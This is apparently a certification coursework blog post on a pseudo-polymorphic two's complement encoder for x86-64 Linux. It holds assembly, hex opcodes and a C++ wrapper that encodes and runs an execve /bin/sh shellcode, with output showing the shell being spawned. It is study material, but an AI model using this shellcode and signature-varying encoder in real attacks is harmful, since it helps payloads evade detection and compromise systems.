SLAE Assignment 4 - Pseudo-Polymorph Two’s Complement Encoder

4 minute read

Introduction

For this fourth assignement, we need to create a custom encoding scheme and to use it in a PoC (Proof of Concept) with an execve shellcode.

All the source code for this assignment can be found on my github repository

Pseudo Polymorph Two’s complment encoder

Overview

For this assignment, I’ve chosen to create a two’s complement encoder or rather decoder.
The principle of the beginning was to encode using the reverse operations of the two’s complement (decrement and reverse the bits of the byte) and to decode using the “neg” instruction (reverse bits value then add one, used for the negative numbers)
But in order to learn a little more, I tried to make a pseudo polymorphic code..

Implementation

We will start with the assembly code, it is composed of multiple part, that you can comment/uncomment to change the sets of instructions by operations goal.

The decoder size varies from 21 bytes to 47 bytes.

_start:

; Get memory address intructions set: 
; used to get the memory address of the first instruction of the decoder

    ;Option 1
    ;;;;;;;;;
    ;ftst                        ; use fpu instructions to get ftst memory address
    ;push rsp                    ; I've learned this technique from an analysis
    ;pop rbx                     ; of the "zutto dekiru" encoder
    ;and bx, 0xfff0              ; 
    ;xor eax, eaxi               ; 
    ;mov ax, 528                 ; 
    ;add rbx, rax                ;
    ;fxsave64[rbx]               ; 25 bytes
    ;mov rsi, qword [rbx + 8]    ; 
    ;hex: \xd9\xe4\x54\x5b\x66\x83\xe3\xf0\x31\xc0\x66\xb8\x10\x02\x48\x01\xc3\x48\x0f\xae\x03\x48\x8b\x73\x08

    ;Option 2
    ;;;;;;;;;
    lea rsi, [rel _start]        ; use RIP relative address
                                 ; 7 bytes
    ;hex: \x48\x8d\x35\xf9\xff\xff\xff


;Don't comment the three following instructions.

    add rsi, 31             ; add the stub size to RSI (will be set automatically)
                            ; RSI point to the start of encoded shellcode

    push 23                 ; shellcode size (will be set automatically) 
    pop rcx                 ; loop counter initialized to shellcode size

decode:
; Two's complement instructions set :
; decode the encoded byte pointed by RSI
; using the two's complement instruction or equivalent

    ;Option 1
    ;;;;;;;;;
    neg byte [rsi]      ; 2 bytes
    ;hex: \xf6\x1e
    
    ;Option 2
    ;;;;;;;;;
    ;xor eax, eax        ; 2 bytes
    ;sub al, [rsi]       ; 2 bytes
    ;mov byte [rsi], al  ; 2 bytes
    ;hex: \x31\xc0\x2a\x06\x88\x06
    
    ;Option 3
    ;;;;;;;;;
    ;not byte [rsi]       ; 2 bytes
    ;inc byte [rsi]       ; 2 bytes
    ;hex: \xf6\x16\xfe\x06


; Increment rsi instructions set : 
; used to point to the next byte to decode

    ;Option 1
    ;;;;;;;;;
    inc rsi              ; 3 bytes
    ;hex: \x48\xff\xc6
    
    ;Option 2
    ;;;;;;;;;
    ;add rsi, 1           ; 4 bytes
    ;hex: \x48\x83\xc6\x01

; Loop instructions set : 
; Jump to decode if RCX != 0
; or exit the loop and exec decoded shellcode

    ;Option 1
    ;;;;;;;;;
    ;dec rcx              ; 
    ;jnz decode           ; 5 bytes
    ;hex: \x48\xff\xc9\x75 + One byte depending of used instructions length and automatically adjusted

    ;Option 2
    ;;;;;;;;;
    loopnz decode        ; 2 bytes
    ;hex: \xe0 + One byte depending of used intructions length and automatically adjusted 


; Here will be the encoded shellcode

And here is my c++ wrapper where you can configure the payload you want (but stub + shellcode length must be inferior to 256 bytes)
When it will be executed, it will encode the payload and randomly assemble a decoder stub.

#include <iostream>
#include <cstring>
#include <string>
#include <cstdlib>

using namespace std;

unsigned char payload[] = "\x31\xf6\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05";
/*
Execve shellcode 23 bytes :

    xor esi, esi
    mul esi
    push rax
    mov rdi, 0x68732f2f6e69622f
    push rdi          
    mov rdi, rsp           
    mov al, 59
    syscall
*/

// Get memory address intructions set
string  mem_addr[2] = {
            "\xd9\xe4\x54\x5b\x66\x83\xe3\xf0\x31\xc0\x66\xb8\x10\x02\x48\x01\xc3\x48\x0f\xae\x03\x48\x8b\x73\x08",
            "\x48\x8d\x35\xf9\xff\xff\xff"
};

// Two's complement instructions set
string two_compl[] = {
            "\xf6\x1e",
            "\x31\xc0\x2a\x06\x88\x06",
            "\xf6\x16\xfe\x06"
};

// Increment rsi instructions set
string incr_rsi [2] = {
            "\x48\xff\xc6",
            "\x48\x83\xc6\x01"
};

// Loops instructions set, minus the address byte that will be calculated
// according to the instructions drawn
string loop[2] = {
            "\x48\xff\xc9\x75",
            "\xe0"
};


// Assemble and return a decoder stub
string generate_stub() {

    // Randomly select one option of each set of instructions
    // Calculate the byte size
    srand(time(NULL));
    string parts[4];
    unsigned char size = 0;
    parts[0] = mem_addr[rand() %2];
    size += parts[0].size();

    parts[1] = two_compl[rand() %3];
    size += parts[1].size();

    parts[2] = incr_rsi[rand() %2];
    size += parts[2].size();

    parts[3] = loop[rand() % 2];
    parts[3].push_back((char)(- parts[1].size() - parts[2].size() - (parts[3].size()+1)));
    size += parts[3].size();

    // size of the counter initialization and RSI adjustment
    size += 7;

    // RSI adjustment
    string adjust = "\x48\x83\xc6";
    adjust.push_back(size); 

    // Counter initialization with the payload size
    string str_count = {'\x6a', (unsigned char) sizeof(payload) -1, '\x59'};

    // Assemble and return the decoder stub
    return parts[0] + adjust + str_count + parts[1] + parts[2] + parts[3];
}

/* Set your custom shellcode here */
int main() {

    unsigned char encoded[sizeof(payload)];
    
    // Encode the payload
    for(int i = 0; i < (int) sizeof(payload); i++) {
        unsigned char c = payload[i] - 1;
        encoded[i] = ~c;
    }

    // Generate a decoder stub
    string stub = generate_stub();

    // Display the sizes
    cout << "Encoder size : " << stub.size() << endl;
    cout << "Shellcode size : " << sizeof(payload) - 1 << endl;

    // Append the stub and the encoded shellcode together, then execute.
    char shellcode[sizeof(stub) + sizeof(encoded)];
    strcpy(shellcode, stub.c_str());
    strcat(shellcode, (const char *)encoded);
    void (* run)() = (void (*)()) shellcode;

    run();
    return 0;
}

We can compile it and execute it :

skrox@kali:~$ g++ -ggdb -m64 -Wall -fno-stack-protector -z execstack -o shellcode shellcode.cpp 
skrox@kali:~$ ./shellcode 
Decoder size : 26
Shellcode size : 23
$ exit
skrox@kali:~$ ./shellcode 
Decoder size : 27
Shellcode size : 23
$ exit
skrox@kali:~$ ./shellcode 
Decoder size : 43
Shellcode size : 23
$ id
uid=1000(skrox) gid=1000(skrox) groups=1000(skrox)
$ 

You can see that the decoder size varies.

It’s the end of this assignement, sorry for the dirty code !

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186